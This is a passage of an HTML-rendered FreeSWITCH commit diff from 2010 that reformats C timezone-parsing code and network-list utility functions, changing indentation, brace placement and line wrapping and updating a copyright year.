</span><span class="cx">         } else if (*strp == 'M') {
</span><span class="cx">                 /*
</span><del>-                ** Month, week, day.
-                */
</del><ins>+                 ** Month, week, day.
+                 */
</ins><span class="cx">                 rulep-&gt;r_type = MONTH_NTH_DAY_OF_WEEK;
</span><span class="cx">                 ++strp;
</span><span class="cx">                 strp = getnum(strp, &amp;rulep-&gt;r_mon, 1, MONSPERYEAR);
</span><span class="lines">@@ -1401,20 +1401,22 @@
</span><span class="cx">                 strp = getnum(strp, &amp;rulep-&gt;r_day, 0, DAYSPERWEEK - 1);
</span><span class="cx">         } else if (is_digit(*strp)) {
</span><span class="cx">                 /*
</span><del>-                ** Day of year.
-                */
</del><ins>+                 ** Day of year.
+                 */
</ins><span class="cx">                 rulep-&gt;r_type = DAY_OF_YEAR;
</span><span class="cx">                 strp = getnum(strp, &amp;rulep-&gt;r_day, 0, DAYSPERLYEAR - 1);
</span><del>-        } else        return NULL;                /* invalid format */
</del><ins>+        } else
+                return NULL;                        /* invalid format */
</ins><span class="cx">         if (strp == NULL)
</span><span class="cx">                 return NULL;
</span><span class="cx">         if (*strp == '/') {
</span><span class="cx">                 /*
</span><del>-                ** Time specified.
-                */
</del><ins>+                 ** Time specified.
+                 */
</ins><span class="cx">                 ++strp;
</span><span class="cx">                 strp = getsecs(strp, &amp;rulep-&gt;r_time);
</span><del>-        } else        rulep-&gt;r_time = 2 * SECSPERHOUR;        /* default = 2:00:00 */
</del><ins>+        } else
+                rulep-&gt;r_time = 2 * SECSPERHOUR;        /* default = 2:00:00 */
</ins><span class="cx">         return strp;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1425,12 +1427,12 @@
</span><span class="cx">     calculate the Epoch-relative time that rule takes effect.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static time_t transtime(const time_t janfirst, const int year, register const struct rule * const rulep, const long offset)
</del><ins>+static time_t transtime(const time_t janfirst, const int year, register const struct rule *const rulep, const long offset)
</ins><span class="cx"> {
</span><del>-        register int        leapyear;
-        register time_t        value;
-        register int        i;
-        int                d, m1, yy0, yy1, yy2, dow;
</del><ins>+        register int leapyear;
+        register time_t value;
+        register int i;
+        int d, m1, yy0, yy1, yy2, dow;
</ins><span class="cx"> 
</span><span class="cx">         INITIALIZE(value);
</span><span class="cx">         leapyear = isleap(year);
</span><span class="lines">@@ -1438,12 +1440,12 @@
</span><span class="cx"> 
</span><span class="cx">         case JULIAN_DAY:
</span><span class="cx">                 /*
</span><del>-                ** Jn - Julian day, 1 == January 1, 60 == March 1 even in leap
-                ** years.
-                ** In non-leap years, or if the day number is 59 or less, just
-                ** add SECSPERDAY times the day number-1 to the time of
-                ** January 1, midnight, to get the day.
-                */
</del><ins>+                 ** Jn - Julian day, 1 == January 1, 60 == March 1 even in leap
+                 ** years.
+                 ** In non-leap years, or if the day number is 59 or less, just
+                 ** add SECSPERDAY times the day number-1 to the time of
+                 ** January 1, midnight, to get the day.
+                 */
</ins><span class="cx">                 value = janfirst + (rulep-&gt;r_day - 1) * SECSPERDAY;
</span><span class="cx">                 if (leapyear &amp;&amp; rulep-&gt;r_day &gt;= 60)
</span><span class="cx">                         value += SECSPERDAY;
</span><span class="lines">@@ -1451,62 +1453,60 @@
</span><span class="cx"> 
</span><span class="cx">         case DAY_OF_YEAR:
</span><span class="cx">                 /*
</span><del>-                ** n - day of year.
-                ** Just add SECSPERDAY times the day number to the time of
-                ** January 1, midnight, to get the day.
-                */
</del><ins>+                 ** n - day of year.
+                 ** Just add SECSPERDAY times the day number to the time of
+                 ** January 1, midnight, to get the day.
+                 */
</ins><span class="cx">                 value = janfirst + rulep-&gt;r_day * SECSPERDAY;
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><span class="cx">         case MONTH_NTH_DAY_OF_WEEK:
</span><span class="cx">                 /*
</span><del>-                ** Mm.n.d - nth &quot;dth day&quot; of month m.
-                */
</del><ins>+                 ** Mm.n.d - nth &quot;dth day&quot; of month m.
+                 */
</ins><span class="cx">                 value = janfirst;
</span><span class="cx">                 for (i = 0; i &lt; rulep-&gt;r_mon - 1; ++i)
</span><span class="cx">                         value += mon_lengths[leapyear][i] * SECSPERDAY;
</span><span class="cx"> 
</span><span class="cx">                 /*
</span><del>-                ** Use Zeller's Congruence to get day-of-week of first day of
-                ** month.
-                */
</del><ins>+                 ** Use Zeller's Congruence to get day-of-week of first day of
+                 ** month.
+                 */
</ins><span class="cx">                 m1 = (rulep-&gt;r_mon + 9) % 12 + 1;
</span><span class="cx">                 yy0 = (rulep-&gt;r_mon &lt;= 2) ? (year - 1) : year;
</span><span class="cx">                 yy1 = yy0 / 100;
</span><span class="cx">                 yy2 = yy0 % 100;
</span><del>-                dow = ((26 * m1 - 2) / 10 +
-                        1 + yy2 + yy2 / 4 + yy1 / 4 - 2 * yy1) % 7;
</del><ins>+                dow = ((26 * m1 - 2) / 10 + 1 + yy2 + yy2 / 4 + yy1 / 4 - 2 * yy1) % 7;
</ins><span class="cx">                 if (dow &lt; 0)
</span><span class="cx">                         dow += DAYSPERWEEK;
</span><span class="cx"> 
</span><span class="cx">                 /*
</span><del>-                ** &quot;dow&quot; is the day-of-week of the first day of the month.  Get
-                ** the day-of-month (zero-origin) of the first &quot;dow&quot; day of the
-                ** month.
-                */
</del><ins>+                 ** &quot;dow&quot; is the day-of-week of the first day of the month.  Get
+                 ** the day-of-month (zero-origin) of the first &quot;dow&quot; day of the
+                 ** month.
+                 */
</ins><span class="cx">                 d = rulep-&gt;r_day - dow;
</span><span class="cx">                 if (d &lt; 0)
</span><span class="cx">                         d += DAYSPERWEEK;
</span><span class="cx">                 for (i = 1; i &lt; rulep-&gt;r_week; ++i) {
</span><del>-                        if (d + DAYSPERWEEK &gt;=
-                                mon_lengths[leapyear][rulep-&gt;r_mon - 1])
-                                        break;
</del><ins>+                        if (d + DAYSPERWEEK &gt;= mon_lengths[leapyear][rulep-&gt;r_mon - 1])
+                                break;
</ins><span class="cx">                         d += DAYSPERWEEK;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 /*
</span><del>-                ** &quot;d&quot; is the day-of-month (zero-origin) of the day we want.
-                */
</del><ins>+                 ** &quot;d&quot; is the day-of-month (zero-origin) of the day we want.
+                 */
</ins><span class="cx">                 value += d * SECSPERDAY;
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        ** &quot;value&quot; is the Epoch-relative time of 00:00:00 UTC on the day in
-        ** question.  To get the Epoch-relative time of the specified local
-        ** time on that day, add the transition time and the current offset
-        ** from UTC.
-        */
</del><ins>+         ** &quot;value&quot; is the Epoch-relative time of 00:00:00 UTC on the day in
+         ** question.  To get the Epoch-relative time of the specified local
+         ** time on that day, add the transition time and the current offset
+         ** from UTC.
+         */
</ins><span class="cx">         return value + rulep-&gt;r_time + offset;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1517,17 +1517,17 @@
</span><span class="cx">     appropriate.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static int tzparse(const char *name, register struct state * const sp, const int lastditch)
</del><ins>+static int tzparse(const char *name, register struct state *const sp, const int lastditch)
</ins><span class="cx"> {
</span><del>-        const char *                        stdname;
-        const char *                        dstname;
-        size_t                                stdlen;
-        size_t                                dstlen;
-        long                                stdoffset;
-        long                                dstoffset;
-        register time_t *                atp;
-        register unsigned char *        typep;
-        register char *                        cp;
</del><ins>+        const char *stdname;
+        const char *dstname;
+        size_t stdlen;
+        size_t dstlen;
+        long stdoffset;
+        long dstoffset;
+        register time_t *atp;
+        register unsigned char *typep;
+        register char *cp;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         INITIALIZE(dstname);
</span><span class="lines">@@ -1551,7 +1551,7 @@
</span><span class="cx">                         return -1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        sp-&gt;leapcnt = 0;                /* so, we're off a little */
</del><ins>+        sp-&gt;leapcnt = 0;                        /* so, we're off a little */
</ins><span class="cx"> 
</span><span class="cx">         if (*name != '\0') {
</span><span class="cx">                 dstname = name;
</span><span class="lines">@@ -1559,24 +1559,21 @@
</span><span class="cx">                 dstlen = name - dstname;        /* length of DST zone name */
</span><span class="cx">                 if (dstlen &lt; 3)
</span><span class="cx">                         return -1;
</span><del>-                if (*name != '\0' &amp;&amp; *name != ',' &amp;&amp; *name != ';') 
-                {
</del><ins>+                if (*name != '\0' &amp;&amp; *name != ',' &amp;&amp; *name != ';') {
</ins><span class="cx">                         name = getoffset(name, &amp;dstoffset);
</span><span class="cx">                         if (name == NULL)
</span><span class="cx">                                 return -1;
</span><del>-                } 
-                else        
-                    dstoffset = stdoffset - SECSPERHOUR;
</del><ins>+                } else
+                        dstoffset = stdoffset - SECSPERHOUR;
</ins><span class="cx"> 
</span><span class="cx">                 /* Go parsing the daylight saving stuff */
</span><del>-                if (*name == ',' || *name == ';') 
-                {
-                        struct rule        start;
-                        struct rule        end;
-                        register int        year;
-                        register time_t        janfirst;
-                        time_t                starttime;
-                        time_t                endtime;
</del><ins>+                if (*name == ',' || *name == ';') {
+                        struct rule start;
+                        struct rule end;
+                        register int year;
+                        register time_t janfirst;
+                        time_t starttime;
+                        time_t endtime;
</ins><span class="cx"> 
</span><span class="cx">                         ++name;
</span><span class="cx">                         if ((name = getrule(name, &amp;start)) == NULL)
</span><span class="lines">@@ -1591,8 +1588,8 @@
</span><span class="cx">                         sp-&gt;typecnt = 2;        /* standard time and DST */
</span><span class="cx"> 
</span><span class="cx">                         /*
</span><del>-                        ** Two transitions per year, from EPOCH_YEAR to 2037.
-                        */
</del><ins>+                         ** Two transitions per year, from EPOCH_YEAR to 2037.
+                         */
</ins><span class="cx">                         sp-&gt;timecnt = 2 * (2037 - EPOCH_YEAR + 1);
</span><span class="cx"> 
</span><span class="cx">                         if (sp-&gt;timecnt &gt; TZ_MAX_TIMES)
</span><span class="lines">@@ -1600,7 +1597,7 @@
</span><span class="cx"> 
</span><span class="cx">                         sp-&gt;ttis[0].tt_gmtoff = -dstoffset;
</span><span class="cx">                         sp-&gt;ttis[0].tt_isdst = 1;
</span><del>-                        sp-&gt;ttis[0].tt_abbrind = (int)(stdlen + 1);
</del><ins>+                        sp-&gt;ttis[0].tt_abbrind = (int) (stdlen + 1);
</ins><span class="cx">                         sp-&gt;ttis[1].tt_gmtoff = -stdoffset;
</span><span class="cx">                         sp-&gt;ttis[1].tt_isdst = 0;
</span><span class="cx">                         sp-&gt;ttis[1].tt_abbrind = 0;
</span><span class="lines">@@ -1610,10 +1607,8 @@
</span><span class="cx">                         janfirst = 0;
</span><span class="cx"> 
</span><span class="cx">                         for (year = EPOCH_YEAR; year &lt;= 2037; ++year) {
</span><del>-                                starttime = transtime(janfirst, year, &amp;start,
-                                        stdoffset);
-                                endtime = transtime(janfirst, year, &amp;end,
-                                        dstoffset);
</del><ins>+                                starttime = transtime(janfirst, year, &amp;start, stdoffset);
+                                endtime = transtime(janfirst, year, &amp;end, dstoffset);
</ins><span class="cx">                                 if (starttime &gt; endtime) {
</span><span class="cx">                                         *atp++ = endtime;
</span><span class="cx">                                         *typep++ = 1;        /* DST ends */
</span><span class="lines">@@ -1630,24 +1625,23 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                 } else {
</span><del>-                        register long        theirstdoffset;
-                        register long        theirdstoffset;
-                        register long        theiroffset;
-                        register int        isdst;
-                        register int        i;
-                        register int        j;
</del><ins>+                        register long theirstdoffset;
+                        register long theirdstoffset;
+                        register long theiroffset;
+                        register int isdst;
+                        register int i;
+                        register int j;
</ins><span class="cx"> 
</span><span class="cx">                         if (*name != '\0')
</span><span class="cx">                                 return -1;
</span><span class="cx">                         /*
</span><del>-                            Initial values of theirstdoffset and theirdstoffset.
-                        */
</del><ins>+                           Initial values of theirstdoffset and theirdstoffset.
+                         */
</ins><span class="cx">                         theirstdoffset = 0;
</span><span class="cx">                         for (i = 0; i &lt; sp-&gt;timecnt; ++i) {
</span><span class="cx">                                 j = sp-&gt;types[i];
</span><span class="cx">                                 if (!sp-&gt;ttis[j].tt_isdst) {
</span><del>-                                        theirstdoffset =
-                                                -sp-&gt;ttis[j].tt_gmtoff;
</del><ins>+                                        theirstdoffset = -sp-&gt;ttis[j].tt_gmtoff;
</ins><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -1655,63 +1649,61 @@
</span><span class="cx">                         for (i = 0; i &lt; sp-&gt;timecnt; ++i) {
</span><span class="cx">                                 j = sp-&gt;types[i];
</span><span class="cx">                                 if (sp-&gt;ttis[j].tt_isdst) {
</span><del>-                                        theirdstoffset =
-                                                -sp-&gt;ttis[j].tt_gmtoff;
</del><ins>+                                        theirdstoffset = -sp-&gt;ttis[j].tt_gmtoff;
</ins><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         /*
</span><del>-                        ** Initially we're assumed to be in standard time.
-                        */
</del><ins>+                         ** Initially we're assumed to be in standard time.
+                         */
</ins><span class="cx">                         isdst = FALSE;
</span><span class="cx">                         theiroffset = theirstdoffset;
</span><span class="cx">                         /*
</span><del>-                        ** Now juggle transition times and types
-                        ** tracking offsets as you do.
-                        */
</del><ins>+                         ** Now juggle transition times and types
+                         ** tracking offsets as you do.
+                         */
</ins><span class="cx">                         for (i = 0; i &lt; sp-&gt;timecnt; ++i) {
</span><span class="cx">                                 j = sp-&gt;types[i];
</span><del>-                                sp-&gt;types[i] = (unsigned char)sp-&gt;ttis[j].tt_isdst;
</del><ins>+                                sp-&gt;types[i] = (unsigned char) sp-&gt;ttis[j].tt_isdst;
</ins><span class="cx">                                 if (sp-&gt;ttis[j].tt_ttisgmt) {
</span><span class="cx">                                         /* No adjustment to transition time */
</span><span class="cx">                                 } else {
</span><span class="cx">                                         /*
</span><del>-                                        ** If summer time is in effect, and the
-                                        ** transition time was not specified as
-                                        ** standard time, add the summer time
-                                        ** offset to the transition time;
-                                        ** otherwise, add the standard time
-                                        ** offset to the transition time.
-                                        */
</del><ins>+                                         ** If summer time is in effect, and the
+                                         ** transition time was not specified as
+                                         ** standard time, add the summer time
+                                         ** offset to the transition time;
+                                         ** otherwise, add the standard time
+                                         ** offset to the transition time.
+                                         */
</ins><span class="cx">                                         /*
</span><del>-                                        ** Transitions from DST to DDST
-                                        ** will effectively disappear since
-                                        ** POSIX provides for only one DST
-                                        ** offset.
-                                        */
</del><ins>+                                         ** Transitions from DST to DDST
+                                         ** will effectively disappear since
+                                         ** POSIX provides for only one DST
+                                         ** offset.
+                                         */
</ins><span class="cx">                                         if (isdst &amp;&amp; !sp-&gt;ttis[j].tt_ttisstd) {
</span><del>-                                                sp-&gt;ats[i] += dstoffset -
-                                                        theirdstoffset;
</del><ins>+                                                sp-&gt;ats[i] += dstoffset - theirdstoffset;
</ins><span class="cx">                                         } else {
</span><del>-                                                sp-&gt;ats[i] += stdoffset -
-                                                        theirstdoffset;
</del><ins>+                                                sp-&gt;ats[i] += stdoffset - theirstdoffset;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 theiroffset = -sp-&gt;ttis[j].tt_gmtoff;
</span><span class="cx">                                 if (sp-&gt;ttis[j].tt_isdst)
</span><span class="cx">                                         theirdstoffset = theiroffset;
</span><del>-                                else        theirstdoffset = theiroffset;
</del><ins>+                                else
+                                        theirstdoffset = theiroffset;
</ins><span class="cx">                         }
</span><span class="cx">                         /*
</span><del>-                        ** Finally, fill in ttis.
-                        ** ttisstd and ttisgmt need not be handled.
-                        */
</del><ins>+                         ** Finally, fill in ttis.
+                         ** ttisstd and ttisgmt need not be handled.
+                         */
</ins><span class="cx">                         sp-&gt;ttis[0].tt_gmtoff = -stdoffset;
</span><span class="cx">                         sp-&gt;ttis[0].tt_isdst = FALSE;
</span><span class="cx">                         sp-&gt;ttis[0].tt_abbrind = 0;
</span><span class="cx">                         sp-&gt;ttis[1].tt_gmtoff = -dstoffset;
</span><span class="cx">                         sp-&gt;ttis[1].tt_isdst = TRUE;
</span><del>-                        sp-&gt;ttis[1].tt_abbrind = (int)(stdlen + 1);
</del><ins>+                        sp-&gt;ttis[1].tt_abbrind = (int) (stdlen + 1);
</ins><span class="cx">                         sp-&gt;typecnt = 2;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="lines">@@ -1723,9 +1715,9 @@
</span><span class="cx">                 sp-&gt;ttis[0].tt_abbrind = 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        sp-&gt;charcnt = (int)(stdlen + 1);
</del><ins>+        sp-&gt;charcnt = (int) (stdlen + 1);
</ins><span class="cx">         if (dstlen != 0)
</span><del>-                sp-&gt;charcnt += (int)(dstlen + 1);
</del><ins>+                sp-&gt;charcnt += (int) (dstlen + 1);
</ins><span class="cx">         if ((size_t) sp-&gt;charcnt &gt; sizeof sp-&gt;chars)
</span><span class="cx">                 return -1;
</span><span class="cx">         cp = sp-&gt;chars;
</span><span class="lines">@@ -1748,17 +1740,17 @@
</span><span class="cx"> #define switch_assert(expr) assert(expr)
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-static void timesub(const time_t * const timep, const long offset, register const struct state * const sp, register struct tm * const tmp)
</del><ins>+static void timesub(const time_t *const timep, const long offset, register const struct state *const sp, register struct tm *const tmp)
</ins><span class="cx"> {
</span><del>-        register const struct lsinfo *        lp;
-        register long                        days;
-        register time_t                        rem;
-        register int                        y;
-        register int                        yleap;
-        register const int *                ip;
-        register long                        corr;
-        register int                        hit;
-        register int                        i;
</del><ins>+        register const struct lsinfo *lp;
+        register long days;
+        register time_t rem;
+        register int y;
+        register int yleap;
+        register const int *ip;
+        register long corr;
+        register int hit;
+        register int i;
</ins><span class="cx"> 
</span><span class="cx">         switch_assert(timep != NULL);
</span><span class="cx">         switch_assert(sp != NULL);
</span><span class="lines">@@ -1772,32 +1764,27 @@
</span><span class="cx">                 lp = &amp;sp-&gt;lsis[i];
</span><span class="cx">                 if (*timep &gt;= lp-&gt;ls_trans) {
</span><span class="cx">                         if (*timep == lp-&gt;ls_trans) {
</span><del>-                                hit = ((i == 0 &amp;&amp; lp-&gt;ls_corr &gt; 0) ||
-                                        (i &gt; 0 &amp;&amp; lp-&gt;ls_corr &gt; sp-&gt;lsis[i - 1].ls_corr));
</del><ins>+                                hit = ((i == 0 &amp;&amp; lp-&gt;ls_corr &gt; 0) || (i &gt; 0 &amp;&amp; lp-&gt;ls_corr &gt; sp-&gt;lsis[i - 1].ls_corr));
</ins><span class="cx">                                 if (hit)
</span><del>-                                        while (i &gt; 0 &amp;&amp;
-                                                sp-&gt;lsis[i].ls_trans ==
-                                                sp-&gt;lsis[i - 1].ls_trans + 1 &amp;&amp;
-                                                sp-&gt;lsis[i].ls_corr ==
-                                                sp-&gt;lsis[i - 1].ls_corr + 1) {
-                                                        ++hit;
-                                                        --i;
</del><ins>+                                        while (i &gt; 0 &amp;&amp; sp-&gt;lsis[i].ls_trans == sp-&gt;lsis[i - 1].ls_trans + 1 &amp;&amp; sp-&gt;lsis[i].ls_corr == sp-&gt;lsis[i - 1].ls_corr + 1) {
+                                                ++hit;
+                                                --i;
</ins><span class="cx">                                         }
</span><span class="cx">                         }
</span><span class="cx">                         corr = lp-&gt;ls_corr;
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        days = (long)(*timep / SECSPERDAY);
</del><ins>+        days = (long) (*timep / SECSPERDAY);
</ins><span class="cx">         rem = *timep % SECSPERDAY;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-#ifdef mc68k 
</del><ins>+#ifdef mc68k
</ins><span class="cx">         /* If this is for CPU bugs workarounds, i would remove this anyway. Who would use it on an old mc68k ? */
</span><span class="cx">         if (*timep == 0x80000000) {
</span><span class="cx">                 /*
</span><del>-                ** A 3B1 muffs the division on the most negative number.
-                */
</del><ins>+                 ** A 3B1 muffs the division on the most negative number.
+                 */
</ins><span class="cx">                 days = -24855;
</span><span class="cx">                 rem = -11648;
</span><span class="cx">         }
</span><span class="lines">@@ -1817,9 +1804,9 @@
</span><span class="cx">         tmp-&gt;tm_min = (int) (rem / SECSPERMIN);
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        ** A positive leap second requires a special
-        ** representation.  This uses &quot;... ??:59:60&quot; et seq.
-        */
</del><ins>+         ** A positive leap second requires a special
+         ** representation.  This uses &quot;... ??:59:60&quot; et seq.
+         */
</ins><span class="cx">         tmp-&gt;tm_sec = (int) (rem % SECSPERMIN) + hit;
</span><span class="cx">         tmp-&gt;tm_wday = (int) ((EPOCH_WDAY + days) % DAYSPERWEEK);
</span><span class="cx"> 
</span><span class="lines">@@ -1831,14 +1818,12 @@
</span><span class="cx"> #define LEAPS_THRU_END_OF(y)        ((y) / 4 - (y) / 100 + (y) / 400)
</span><span class="cx"> 
</span><span class="cx">         while (days &lt; 0 || days &gt;= (long) year_lengths[yleap = isleap(y)]) {
</span><del>-                register int        newy;
</del><ins>+                register int newy;
</ins><span class="cx"> 
</span><del>-                newy = (int)(y + days / DAYSPERNYEAR);
</del><ins>+                newy = (int) (y + days / DAYSPERNYEAR);
</ins><span class="cx">                 if (days &lt; 0)
</span><span class="cx">                         --newy;
</span><del>-                days -= (newy - y) * DAYSPERNYEAR +
-                        LEAPS_THRU_END_OF(newy - 1) -
-                        LEAPS_THRU_END_OF(y - 1);
</del><ins>+                days -= (newy - y) * DAYSPERNYEAR + LEAPS_THRU_END_OF(newy - 1) - LEAPS_THRU_END_OF(y - 1);
</ins><span class="cx">                 y = newy;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1861,29 +1846,26 @@
</span><span class="cx">             
</span><span class="cx">    ************************************************************************** */
</span><span class="cx"> 
</span><del>-static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp )
</del><ins>+static void tztime(const time_t *const timep, const char *tzstring, struct tm *const tmp)
</ins><span class="cx"> {
</span><del>-        struct state                         *tzptr, 
-                                        *sp;
-        const time_t                        t = *timep;
-        register int                        i;
-        register const struct ttinfo         *ttisp;
</del><ins>+        struct state *tzptr, *sp;
+        const time_t t = *timep;
+        register int i;
+        register const struct ttinfo *ttisp;
</ins><span class="cx"> 
</span><del>-        if ( tzstring == NULL )
</del><ins>+        if (tzstring == NULL)
</ins><span class="cx">                 tzstring = gmt;
</span><span class="cx"> 
</span><del>-        tzptr = (struct state *) malloc(sizeof (struct state));
</del><ins>+        tzptr = (struct state *) malloc(sizeof(struct state));
</ins><span class="cx">         sp = tzptr;
</span><span class="cx"> 
</span><del>-        if (tzptr != NULL) 
-        {
-        
</del><ins>+        if (tzptr != NULL) {
+
</ins><span class="cx">                 memset(tzptr, 0, sizeof(struct state));
</span><span class="cx"> 
</span><span class="cx">                 (void) tzparse(tzstring, tzptr, FALSE);
</span><span class="cx"> 
</span><del>-                if (sp-&gt;timecnt == 0 || t &lt; sp-&gt;ats[0]) 
-                {
</del><ins>+                if (sp-&gt;timecnt == 0 || t &lt; sp-&gt;ats[0]) {
</ins><span class="cx">                         i = 0;
</span><span class="cx">                         while (sp-&gt;ttis[i].tt_isdst)
</span><span class="cx">                                 if (++i &gt;= sp-&gt;typecnt) {
</span><span class="lines">@@ -1899,14 +1881,13 @@
</span><span class="cx">                 ttisp = &amp;sp-&gt;ttis[i];
</span><span class="cx"> 
</span><span class="cx">                 /*
</span><del>-                    To get (wrong) behavior that's compatible with System V Release 2.0
-                    you'd replace the statement below with
-                    t += ttisp-&gt;tt_gmtoff;
-                    timesub(&amp;t, 0L, sp, tmp);
-                */
-                if ( tmp != NULL ) /* Just a check not to assert */
-                {
-                            timesub( &amp;t, ttisp-&gt;tt_gmtoff, sp, tmp);
</del><ins>+                   To get (wrong) behavior that's compatible with System V Release 2.0
+                   you'd replace the statement below with
+                   t += ttisp-&gt;tt_gmtoff;
+                   timesub(&amp;t, 0L, sp, tmp);
+                 */
+                if (tmp != NULL) {                /* Just a check not to assert */
+                        timesub(&amp;t, ttisp-&gt;tt_gmtoff, sp, tmp);
</ins><span class="cx">                         tmp-&gt;tm_isdst = ttisp-&gt;tt_isdst;
</span><span class="cx"> #if defined(HAVE_STRUCT_TM_TM_ZONE)
</span><span class="cx">                         tmp-&gt;tm_zone = &amp;sp-&gt;chars[ttisp-&gt;tt_abbrind];
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_utilsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_utils.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_utils.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_utils.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -93,7 +93,7 @@
</span><span class="cx">         new_frame = malloc(sizeof(*new_frame));
</span><span class="cx"> 
</span><span class="cx">         switch_assert(new_frame);
</span><del>-        
</del><ins>+
</ins><span class="cx">         *new_frame = *orig;
</span><span class="cx">         switch_set_flag(new_frame, SFF_DYNAMIC);
</span><span class="cx"> 
</span><span class="lines">@@ -102,7 +102,7 @@
</span><span class="cx"> 
</span><span class="cx">         memcpy(new_frame-&gt;data, orig-&gt;data, orig-&gt;datalen);
</span><span class="cx">         new_frame-&gt;codec = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *clone = new_frame;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -113,7 +113,7 @@
</span><span class="cx">         if (!frame || !*frame || !switch_test_flag((*frame), SFF_DYNAMIC)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free((*frame)-&gt;data);
</span><span class="cx">         free(*frame);
</span><span class="cx">         *frame = NULL;
</span><span class="lines">@@ -121,7 +121,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type,
+                                                                                                                   switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_network_list_t *new_list;
</span><span class="cx"> 
</span><span class="lines">@@ -164,14 +165,15 @@
</span><span class="cx">         return ok;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_network_list_perform_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_network_list_perform_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok,
+                                                                                                                                                   const char *token)
</ins><span class="cx"> {
</span><span class="cx">         uint32_t ip, mask, bits;
</span><span class="cx">         switch_network_node_t *node;
</span><span class="cx"> 
</span><span class="cx">         if (switch_parse_cidr(cidr_str, &amp;ip, &amp;mask, &amp;bits)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Adding %s (%s) [%s] to list %s\n&quot;,
</span><del>-                        cidr_str, ok ? &quot;allow&quot; : &quot;deny&quot;, switch_str_nil(token), list-&gt;name);
</del><ins>+                                                  cidr_str, ok ? &quot;allow&quot; : &quot;deny&quot;, switch_str_nil(token), list-&gt;name);
</ins><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -186,11 +188,11 @@
</span><span class="cx">         if (!zstr(token)) {
</span><span class="cx">                 node-&gt;token = switch_core_strdup(list-&gt;pool, token);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         node-&gt;next = list-&gt;node_head;
</span><span class="cx">         list-&gt;node_head = node;
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Adding %s (%s) [%s] to list %s\n&quot;, 
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Adding %s (%s) [%s] to list %s\n&quot;,
</ins><span class="cx">                                           cidr_str, ok ? &quot;allow&quot; : &quot;deny&quot;, switch_str_nil(token), list-&gt;name);
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -200,14 +202,14 @@
</span><span class="cx"> {
</span><span class="cx">         char *cidr_str_dup = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (strchr(cidr_str, ',')) {
</span><span class="cx">                 char *argv[32] = { 0 };
</span><del>-                int i,argc;
</del><ins>+                int i, argc;
</ins><span class="cx">                 cidr_str_dup = strdup(cidr_str);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_assert(cidr_str_dup);
</span><del>-                if ((argc = switch_separate_string(cidr_str_dup, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {                
